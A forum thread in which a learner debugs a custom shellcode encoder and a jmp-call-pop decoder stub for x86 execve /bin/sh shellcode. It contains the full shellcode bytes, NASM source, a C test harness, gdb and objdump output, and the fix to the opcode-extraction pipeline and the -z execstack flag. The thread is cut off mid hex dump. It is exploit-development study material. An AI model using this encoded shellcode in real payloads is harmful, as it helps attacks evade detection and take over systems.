pcfx Posted July 11, 2016 Posted July 11, 2016 I'm working on a very simple shellcode encoder. It takes an existing shellcode and adds a continuing number on every even position in the shellcode. The shellcode i want to encode is a simple execve -> /bin/sh shellcode: \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80 Encoded: \x31\x01\xc0\x02\x50\x03\x68\x04\x2f\x05\x2f\x06\x73\x07\x68\x08\x68\x09\x2f\x0a\x62\x0b\x69\x0c\x6e\x0d\x89\x0e\xe3\x0f\x50\x10\x89\x11\xe2\x12\x53\x13\x89\x14\xe1\x15\xb0\x16\x0b\x17\xcd\x18\x80\x19 Here is my decoder stub: global _start section .text _start: jmp short call_shellcode decoder: pop esi lea edi, [esi+1] xor eax, eax mov al, 1 xor ecx, ecx xor ebx, ebx mov cl, 1 decode: mov bl, byte [esi+eax] xor bl, cl jnz short Shellcode mov bl, byte [esi+eax+1] mov byte [edi], bl inc edi inc cl add al, 2 jmp short decode call_shellcode: call decoder Shellcode: db 0x31,0x01,0xc0,0x02,0x50,0x03,0x68,0x04,0x2f,0x05,0x2f,0x06,0x73,0x07,0x68,0x08,0x68,0x09,0x2f,0x0a,0x62,0x0b,0x69,0x0c,0x6e,0x0d,0x89,0x0e,0xe3,0x0f,0x50,0x10,0x89,0x11,0xe2,0x12,0x53,0x13,0x89,0x14,0xe1,0x15,0xb0,0x16,0x0b,0x17,0xcd,0x18,0x80,0x19 I compiled and linked it and loaded the shellcode in my shellcode.c pattern: #include <stdio.h> #include <string.h> unsigned char code[] = "\xeb\x22\x5e\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xc9\x31\xdb\xb1\x01\x8a\x1c\x06\x30\xcb\x75\x12\x8a\x5c\x06\x01\x88\x1f\x47\xfe\xc1\x04\x02\xeb\xec\xe8\xd9\xff\xff\xff\x31\x01\xc0\x02\x50\x03\x68\x04\x2f\x05\x2f\x06\x73\x07\x68\x08\x68\x09\x2f\x0a\x62\x0b\x69\x0c\x6e\x0d\x89\x0e\x0f\x50\x10\x89\x11\xe2\x12\x53\x13\x89\x14\xe1\x15\xb0\x16\x0b\x17\xcd\x18\x80\x19"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); } When I ran it I got segmentation fault error so I loaded it up in gdb and did some research. I figured out that in the compiled shellcode.c file is one byte missing. It's at line 804809f: and it's the byte 0xe3. It's in the compiled stub but not in the compiled shellcode.c Compiled decoder stub: Disassembly of section .text: 08048060 <_start>: 8048060: eb 22 jmp 8048084 <call_shellcode> 08048062 <decoder>: 8048062: 5e pop esi 8048063: 8d 7e 01 lea edi,[esi+0x1] 8048066: 31 c0 xor eax,eax 8048068: b0 01 mov al,0x1 804806a: 31 c9 xor ecx,ecx 804806c: 31 db xor ebx,ebx 804806e: b1 01 mov cl,0x1 08048070 <decode>: 8048070: 8a 1c 06 mov bl,BYTE PTR [esi+eax*1] 8048073: 30 cb xor bl,cl 8048075: 75 12 jne 8048089 <Shellcode> 8048077: 8a 5c 06 01 mov bl,BYTE PTR [esi+eax*1+0x1] 804807b: 88 1f mov BYTE PTR [edi],bl 804807d: 47 inc edi 804807e: fe c1 inc cl 8048080: 04 02 add al,0x2 8048082: eb ec jmp 8048070 <decode> 08048084 <call_shellcode>: 8048084: e8 d9 ff ff ff call 8048062 <decoder> 08048089 <Shellcode>: 8048089: 31 01 xor DWORD PTR [ecx],eax 804808b: c0 02 50 rol BYTE PTR [edx],0x50 804808e: 03 68 04 add ebp,DWORD PTR [eax+0x4] 8048091: 2f das 8048092: 05 2f 06 73 07 add eax,0x773062f 8048097: 68 08 68 09 2f push 0x2f096808 804809c: 0a 62 0b or ah,BYTE PTR [edx+0xb] 804809f: 69 0c 6e 0d 89 0e e3 imul ecx,DWORD PTR [esi+ebp*2],0xe30e890d 80480a6: 0f 50 (bad) 80480a8: 10 89 11 e2 12 53 adc BYTE PTR [ecx+0x5312e211],cl 80480ae: 13 89 14 e1 15 b0 adc ecx,DWORD PTR [ecx-0x4fea1eec] 80480b4: 16 push ss 80480b5: 0b 17 or edx,DWORD PTR [edi] 80480b7: cd 18 int 0x18 80480b9: 80 .byte 0x80 80480ba: 19 .byte 0x19 Compiled shellcode.c loaded up in gdb: xxxx@xxxx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ gdb -q ./shellcode Reading symbols from /home/xxxx/Code/shellcodes/plus_1_encoder/shellcode...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) break *&code Breakpoint 1 at 0x804a040 (gdb) run Starting program: /home/xxxx/Code/shellcodes/plus_1_encoder/shellcode Shellcode Length: 90 Breakpoint 1, 0x0804a040 in code () (gdb) disassemble Dump of assembler code for function code: => 0x0804a040 <+0>: jmp 0x804a064 <code+36> 0x0804a042 <+2>: pop esi 0x0804a043 <+3>: lea edi,[esi+0x1] 0x0804a046 <+6>: xor eax,eax 0x0804a048 <+8>: mov al,0x1 0x0804a04a <+10>: xor ecx,ecx 0x0804a04c <+12>: xor ebx,ebx 0x0804a04e <+14>: mov cl,0x1 0x0804a050 <+16>: mov bl,BYTE PTR [esi+eax*1] 0x0804a053 <+19>: xor bl,cl 0x0804a055 <+21>: jne 0x804a069 <code+41> 0x0804a057 <+23>: mov bl,BYTE PTR [esi+eax*1+0x1] 0x0804a05b <+27>: mov BYTE PTR [edi],bl 0x0804a05d <+29>: inc edi 0x0804a05e <+30>: inc cl 0x0804a060 <+32>: add al,0x2 0x0804a062 <+34>: jmp 0x804a050 <code+16> 0x0804a064 <+36>: call 0x804a042 <code+2> 0x0804a069 <+41>: xor DWORD PTR [ecx],eax 0x0804a06b <+43>: rol BYTE PTR [edx],0x50 0x0804a06e <+46>: add ebp,DWORD PTR [eax+0x4] 0x0804a071 <+49>: das 0x0804a072 <+50>: add eax,0x773062f 0x0804a077 <+55>: push 0x2f096808 0x0804a07c <+60>: or ah,BYTE PTR [edx+0xb] 0x0804a07f <+63>: imul ecx,DWORD PTR [esi+ebp*2],0xf0e890d 0x0804a086 <+70>: push eax 0x0804a087 <+71>: adc BYTE PTR [ecx+0x5312e211],cl 0x0804a08d <+77>: adc ecx,DWORD PTR [ecx-0x4fea1eec] 0x0804a093 <+83>: push ss 0x0804a094 <+84>: or edx,DWORD PTR [edi] 0x0804a096 <+86>: int 0x18 0x0804a098 <+88>: sbb BYTE PTR [ecx],0x0 End of assembler dump. (gdb) x/50xb 0x0804a069 0x804a069 <code+41>: 0x31 0x01 0xc0 0x02 0x50 0x03 0x68 0x04 0x804a071 <code+49>: 0x2f 0x05 0x2f 0x06 0x73 0x07 0x68 0x08 0x804a079 <code+57>: 0x68 0x09 0x2f 0x0a 0x62 0x0b 0x69 0x0c 0x804a081 <code+65>: 0x6e 0x0d 0x89 0x0e 0x0f 0x50 0x10 0x89 0x804a089 <code+73>: 0x11 0xe2 0x12 0x53 0x13 0x89 0x14 0xe1 0x804a091 <code+81>: 0x15 0xb0 0x16 0x0b 0x17 0xcd 0x18 0x80 0x804a099 <code+89>: 0x19 0x00 As you can see the byte 0x3e is missing in the byte order at the end. I also noticed "(bad)" in the objdump output, but I dont know what it means in this context. 804809f: 69 0c 6e 0d 89 0e e3 imul ecx,DWORD PTR [esi+ebp*2],0xe30e890d 80480a6: 0f 50 (bad) Can somebody help me to get it working?
Extreme Coders Posted July 11, 2016 Posted July 11, 2016 The byte byte 0x3e is missing in the c code. original shellcode 0x31,0x01,0xc0,0x02,0x50,0x03,0x68,0x04,0x2f,0x05,0x2f,0x06,0x73,0x07,0x68,0x08,0x68,0x09,0x2f,0x0a,0x62,0x0b,0x69,0x0c,0x6e,0x0d,0x89,0x0e,0xe3,0x0f, 0x50,0x10,0x89,0x11,0xe2,0x12,0x53,0x13,0x89,0x14,0xe1,0x15,0xb0,0x16,0x0b,0x17,0xcd,0x18,0x80,0x19 your C code unsigned char code[] = "<snip> \x31\x01\xc0\x02\x50\x03\x68\x04\x2f\x05\x2f\x06\x73\x07\x68\x08\x68\x09\x2f\x0a\x62\x0b\x69\x0c\x6e\x0d\x89\x0e\x0f\x50\x10\x89\x11\xe2\x12\x53\x13\x89\x14\xe1\x15\xb0\x16\x0b\x17\xcd\x18\x80\x19"; 1
pcfx Posted July 11, 2016 Author Posted July 11, 2016 That's embarrassing, I've checked it like three times. Thanks man! I checked all my steps again and found the step, where the mistake must have happened. After I assembled and linked the file i loaded it up in objdump, to check the assemble, which looks fine to me: xxx@xxx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ objdump -d test -M intel test: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: eb 22 jmp 8048084 <call_shellcode> 08048062 <decoder>: 8048062: 5e pop esi 8048063: 8d 7e 01 lea edi,[esi+0x1] 8048066: 31 c0 xor eax,eax 8048068: b0 01 mov al,0x1 804806a: 31 c9 xor ecx,ecx 804806c: 31 db xor ebx,ebx 804806e: b1 01 mov cl,0x1 08048070 <decode>: 8048070: 8a 1c 06 mov bl,BYTE PTR [esi+eax*1] 8048073: 30 cb xor bl,cl 8048075: 75 12 jne 8048089 <Shellcode> 8048077: 8a 5c 06 01 mov bl,BYTE PTR [esi+eax*1+0x1] 804807b: 88 1f mov BYTE PTR [edi],bl 804807d: 47 inc edi 804807e: fe c1 inc cl 8048080: 04 02 add al,0x2 8048082: eb ec jmp 8048070 <decode> 08048084 <call_shellcode>: 8048084: e8 d9 ff ff ff call 8048062 <decoder> 08048089 <Shellcode>: 8048089: 31 01 xor DWORD PTR [ecx],eax 804808b: c0 02 50 rol BYTE PTR [edx],0x50 804808e: 03 68 04 add ebp,DWORD PTR [eax+0x4] 8048091: 2f das 8048092: 05 2f 06 73 07 add eax,0x773062f 8048097: 68 08 68 09 2f push 0x2f096808 804809c: 0a 62 0b or ah,BYTE PTR [edx+0xb] 804809f: 69 0c 6e 0d 89 0e e3 imul ecx,DWORD PTR [esi+ebp*2],0xe30e890d 80480a6: 0f 50 (bad) 80480a8: 10 89 11 e2 12 53 adc BYTE PTR [ecx+0x5312e211],cl 80480ae: 13 89 14 e1 15 b0 adc ecx,DWORD PTR [ecx-0x4fea1eec] 80480b4: 16 push ss 80480b5: 0b 17 or edx,DWORD PTR [edi] 80480b7: cd 18 int 0x18 80480b9: 80 .byte 0x80 80480ba: 19 .byte 0x19 Then I use this command to extract the op-code, which normally works for me: xxx@xxx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\xeb\x22\x5e\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xc9\x31\xdb\xb1\x01\x8a\x1c\x06\x30\xcb\x75\x12\x8a\x5c\x06\x01\x88\x1f\x47\xfe\xc1\x04\x02\xeb\xec\xe8\xd9\xff\xff\xff\x31\x01\xc0\x02\x50\x03\x68\x04\x2f\x05\x2f\x06\x73\x07\x68\x08\x68\x09\x2f\x0a\x62\x0b\x69\x0c\x6e\x0d\x89\x0e\x0f\x50\x10\x89\x11\xe2\x12\x53\x13\x89\x14\xe1\x15\xb0\x16\x0b\x17\xcd\x18\x80\x19" Here, the 0xe3 is missing. Can you explain why?
Extreme Coders Posted July 12, 2016 Posted July 12, 2016 (edited) About the seg fault Most probably you have not specified -z execstack while compiling the c code. You can verify this with readelf. Spoiler ec@ubuntu:~/Desktop/shellcode$ cat ./test.c #include <stdio.h> #include <string.h> unsigned char code[] = "\xeb\x22\x5e\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xc9\x31\xdb\xb1\x01\x8a\x1c\x06\x30\xcb\x75\x12\x8a\x5c\x06\x01\x88\x1f\x47\xfe\xc1\x04\x02\xeb\xec\xe8\xd9\xff\xff\xff\x31\x01\xc0\x02\x50\x03\x68\x04\x2f\x05\x2f\x06\x73\x07\x68\x08\x68\x09\x2f\x0a\x62\x0b\x69\x0c\x6e\x0d\x89\x0e\xe3\x0f\x50\x10\x89\x11\xe2\x12\x53\x13\x89\x14\xe1\x15\xb0\x16\x0b\x17\xcd\x18\x80\x19"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); } ec@ubuntu:~/Desktop/shellcode$ gcc test.c -z execstack -o test ec@ubuntu:~/Desktop/shellcode$ readelf -l ./test Elf file type is EXEC (Executable file) Entry point 0x8048350 There are 9 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4 INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1 [Requesting program interpreter: /lib/ld-linux.so.2] LOAD 0x000000 0x08048000 0x08048000 0x00614 0x00614 R E 0x1000 LOAD 0x000f08 0x08049f08 0x08049f08 0x00194 0x00198 RW 0x1000 DYNAMIC 0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW 0x4 NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4 GNU_EH_FRAME 0x000538 0x08048538 0x08048538 0x0002c 0x0002c R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10 GNU_RELRO 0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R 0x1 Note that the stack is specified executable, else you would get a segfault. Now you should be able to run the shellcode normally. ec@ubuntu:~/Desktop/shellcode$ ./test Shellcode Length: 91 $ About the missing byte Spoiler 8 hours ago, pcfx said: Then I use this command to extract the op-code, which normally works for me: xxx@xxx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\xeb\x22\x5e\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xc9\x31\xdb\xb1\x01\x8a\x1c\x06\x30\xcb\x75\x12\x8a\x5c\x06\x01\x88\x1f\x47\xfe\xc1\x04\x02\xeb\xec\xe8\xd9\xff\xff\xff\x31\x01\xc0\x02\x50\x03\x68\x04\x2f\x05\x2f\x06\x73\x07\x68\x08\x68\x09\x2f\x0a\x62\x0b\x69\x0c\x6e\x0d\x89\x0e\x0f\x50\x10\x89\x11\xe2\x12\x53\x13\x89\x14\xe1\x15\xb0\x16\x0b\x17\xcd\x18\x80\x19" The command sequence is taken from here. Right ? It is evident that there is a problem with the commands. I would suggest a different workflow. shellcode.S Spoiler ec@ubuntu:~/Desktop/shellcode$ cat shellcode.S global _start section .text _start: jmp short call_shellcode decoder: pop esi lea edi, [esi+1] xor eax, eax mov al, 1 xor ecx, ecx xor ebx, ebx mov cl, 1 decode: mov bl, byte [esi+eax] xor bl, cl jnz short Shellcode mov bl, byte [esi+eax+1] mov byte [edi], bl inc edi inc cl add al, 2 jmp short decode call_shellcode: call decoder Shellcode: db 0x31,0x01,0xc0,0x02,0x50,0x03,0x68,0x04,0x2f,0x05,0x2f,0x06,0x73,0x07,0x68,0x08,0x68,0x09,0x2f,0x0a,0x62,0x0b,0x69,0x0c,0x6e,0x0d,0x89,0x0e,0xe3,0x0f,0x50,0x10,0x89,0x11,0xe2,0x12,0x53,0x13,0x89,0x14,0xe1,0x15,0xb0,0x16,0x0b,0x17,0xcd,0x18,0x80,0x19 Assemble ec@ubuntu:~/Desktop/shellcode$ nasm shellcode.S -o shellcode.bin shellcode.bin is a binary file. You can directly use xxd instead of all those hairy piping commands. ec@ubuntu:~/Desktop/shellcode$ xxd -i ./shellcode.bin unsigned char __shellcode_bin[] = { 0xeb, 0x2c, 0x66, 0x5e, 0x66, 0x67, 0x8d, 0x7e, 0x01, 0x66, 0x31, 0xc0, 0xb0, 0x01, 0x66, 0x31, 0xc9, 0x66, 0x31, 0xdb, 0xb1, 0x01, 0x67, 0x8a, 0x1c, 0x06, 0x30, 0xcb, 0x75, 0x13, 0x67, 0x8a, 0x5c, 0x06, 0x01, 0x67, 0x88, 0x1f, 0x66, 0x47, 0xfe, 0xc1, 0x04, 0x02, 0xeb, 0xe8, 0xe8, 0xd1, 0xff, 0x31, 0x01, 0xc0, 0x02, 0x50, 0x03, 0x68, 0x04, 0x2f, 0x05, 0x2f, 0x06, 0x73, 0x07, 0x68, 0x08, 0x68, 0x09, 0x2f, 0x0a, 0x62, 0x0b, 0x69, 0x0c, 0x6e, 0x0d, 0x89, 0x0e, 0xe3, 0x0f, 0x50, 0x10, 0x89, 0x11, 0xe2, 0x12, 0x53, 0x13, 0x89, 0x14, 0xe1, 0x15, 0xb0, 0x16, 0x0b, 0x17, 0xcd, 0x18, 0x80, 0x19 }; unsigned int __shellcode_bin_len = 99; Paste into your C code. Compile with gcc. Keep note of -z execstack. Profit. The problem with the command sequence 8 hours ago, pcfx said: Here, the 0xe3 is missing. Can you explain why? This is due to this command cut -f1-6 -d' ' This restricts to max 6 byte instruction lengths. The instruction you are facing problems with is of 7 bytes. Note that the last byte is e3. 804809f: 69 0c 6e 0d 89 0e e3 imul ecx,DWORD PTR [esi+ebp*2],0xe30e890d As a temporary workaround you can change 6 to 7, but again that is not a permanent fix. On the x86 architecture, instructions can be as long as 15 bytes. Hence stick to the second method. Edited July 12, 2016 by Extreme Coders 2
pcfx Posted July 12, 2016 Author Posted July 12, 2016 (edited) I tried everything you said with the non-encoded execve shellcode because of clearness. pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ cat shellcode.c #include <stdio.h> #include <string.h> unsigned char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); } About the seg fault: You are right about the seg fault error when the "-z execstack" parameter is missing. pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ gcc -z execstack shellcode.c -o shellcode_execstack pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ gcc shellcode.c -o shellcode_no_execstack pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ ./shellcode_execstack Shellcode Length: 25 $ exit pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ ./shellcode_no_execstack Shellcode Length: 25 Segmentation fault (core dumped) But i'm pretty sure i did not forget this parameter with my encoded shellcode in the first place. I think, I got the seg fault because of the missing byte 0xe3! pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ gcc -z execstack shellcode.c -o shellcode_no_missing_byte pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ gcc -z execstack shellcode_with_missing_byte.c -o shellcode_missing_byte pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ ./shellcode_no_missing_byte Shellcode Length: 92 $ exit pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ ./shellcode_missing_byte Shellcode Length: 91 Segmentation fault (core dumped) readelf -l So with readelf -l I get information of the file's segment header, is this correct? I'm not quite sure how I can verify if -z execstack is set or not because I get the same output with both files. pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ cat shellcode.c #include <stdio.h> #include <string.h> unsigned char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); } pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ gcc -z execstack shellcode.c -o shellcode_execstack pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ gcc shellcode.c -o shellcode_no_execstack pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ readelf -l ./shellcode_execstack Elf file type is EXEC (Executable file) Entry point 0x8048330 There are 9 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4 INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1 [Requesting program interpreter: /lib/ld-linux.so.2] LOAD 0x000000 0x08048000 0x08048000 0x00624 0x00624 R E 0x1000 LOAD 0x000f14 0x08049f14 0x08049f14 0x0011c 0x00124 RW 0x1000 DYNAMIC 0x000f28 0x08049f28 0x08049f28 0x000c8 0x000c8 RW 0x4 NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4 GNU_EH_FRAME 0x000528 0x08048528 0x08048528 0x00034 0x00034 R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4 GNU_RELRO 0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R 0x1 Section to Segment mapping: Segment Sections... 00 01 .interp 02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss 04 .dynamic 05 .note.ABI-tag .note.gnu.build-id 06 .eh_frame_hdr 07 08 .ctors .dtors .jcr .dynamic .got pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ readelf -l ./shellcode_no_execstack Elf file type is EXEC (Executable file) Entry point 0x8048330 There are 9 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4 INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1 [Requesting program interpreter: /lib/ld-linux.so.2] LOAD 0x000000 0x08048000 0x08048000 0x00624 0x00624 R E 0x1000 LOAD 0x000f14 0x08049f14 0x08049f14 0x0011c 0x00124 RW 0x1000 DYNAMIC 0x000f28 0x08049f28 0x08049f28 0x000c8 0x000c8 RW 0x4 NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4 GNU_EH_FRAME 0x000528 0x08048528 0x08048528 0x00034 0x00034 R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 GNU_RELRO 0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R 0x1 Section to Segment mapping: Segment Sections... 00 01 .interp 02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss 04 .dynamic 05 .note.ABI-tag .note.gnu.build-id 06 .eh_frame_hdr 07 08 .ctors .dtors .jcr .dynamic .got pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ op-code workflow: The way with xxd -i ./shellcode.bin only works if I assemble the file like you used to do it. I was using a bash script to assemble and link the whole stuff, which seems not to work with your method. pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ cat compile.sh #!/bin/bash echo '[+] Assembling with Nasm ... ' nasm -f elf32 -o $1.o $1.nasm echo '[+] Linking ...' ld -o $1 $1.o echo '[+] Done!' pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ cat test.nasm ; Filename: test.nasm ; Author: PCFX ; global _start section .text _start: jmp short call_shellcode decoder: pop esi lea edi, [esi+1] xor eax, eax mov al, 1 xor ecx, ecx xor ebx, ebx mov cl, 1 decode: mov bl, byte [esi+eax] xor bl, cl jnz short Shellcode mov bl, byte [esi+eax+1] mov byte [edi], bl inc edi inc cl add al, 2 jmp short decode call_shellcode: call decoder Shellcode: db 0x31,0x01,0xc0,0x02,0x50,0x03,0x68,0x04,0x2f,0x05,0x2f,0x06,0x73,0x07,0x68,0x08,0x68,0x09,0x2f,0x0a,0x62,0x0b,0x69,0x0c,0x6e,0x0d,0x89,0x0e,0xe3,0x0f,0x50,0x10,0x89,0x11,0xe2,0x12,0x53,0x13,0x89,0x14,0xe1,0x15,0xb0,0x16,0x0b,0x17,0xcd,0x18,0x80,0x19 pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ ./compile.sh test [+] Assembling with Nasm ... [+] Linking ... [+] Done! pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ xxd -i ./test.o unsigned char __test_o[] = { 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x05, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x01, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x01, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x02, 0x00, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x22, 0x5e, 0x8d, 0x7e, 0x01, 0x31, 0xc0, 0xb0, 0x01, 0x31, 0xc9, 0x31, 0xdb, 0xb1, 0x01, 0x8a, 0x1c, 0x06, 0x30, 0xcb, 0x75, 0x12, 0x8a, 0x5c, 0x06, 0x01, 0x88, 0x1f, 0x47, 0xfe, 0xc1, 0x04, 0x02, 0xeb, 0xec, 0xe8, 0xd9, 0xff, 0xff, 0xff, 0x31, 0x01, 0xc0, 0x02, 0x50, 0x03, 0x68, 0x04, 0x2f, 0x05, 0x2f, 0x06, 0x73, 0x07, 0x68, 0x08, 0x68, 0x09, 0x2f, 0x0a, 0x62, 0x0b, 0x69, 0x0c, 0x6e, 0x0d, 0x89, 0x0e, 0xe3, 0x0f, 0x50, 0x10, 0x89, 0x11, 0xe2, 0x12, 0x53, 0x13, 0x89, 0x14, 0xe1, 0x15, 0xb0, 0x16, 0x0b, 0x17, 0xcd, 0x18, 0x80, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2e, 0x74, 0x65, 0x78, 0x74, 0x00, 0x2e, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2e, 0x73, 0x79, 0x6d, 0x74, 0x61, 0x62, 0x00, 0x2e, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0xf1, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x01, 0x00, 0x12, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x1a, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 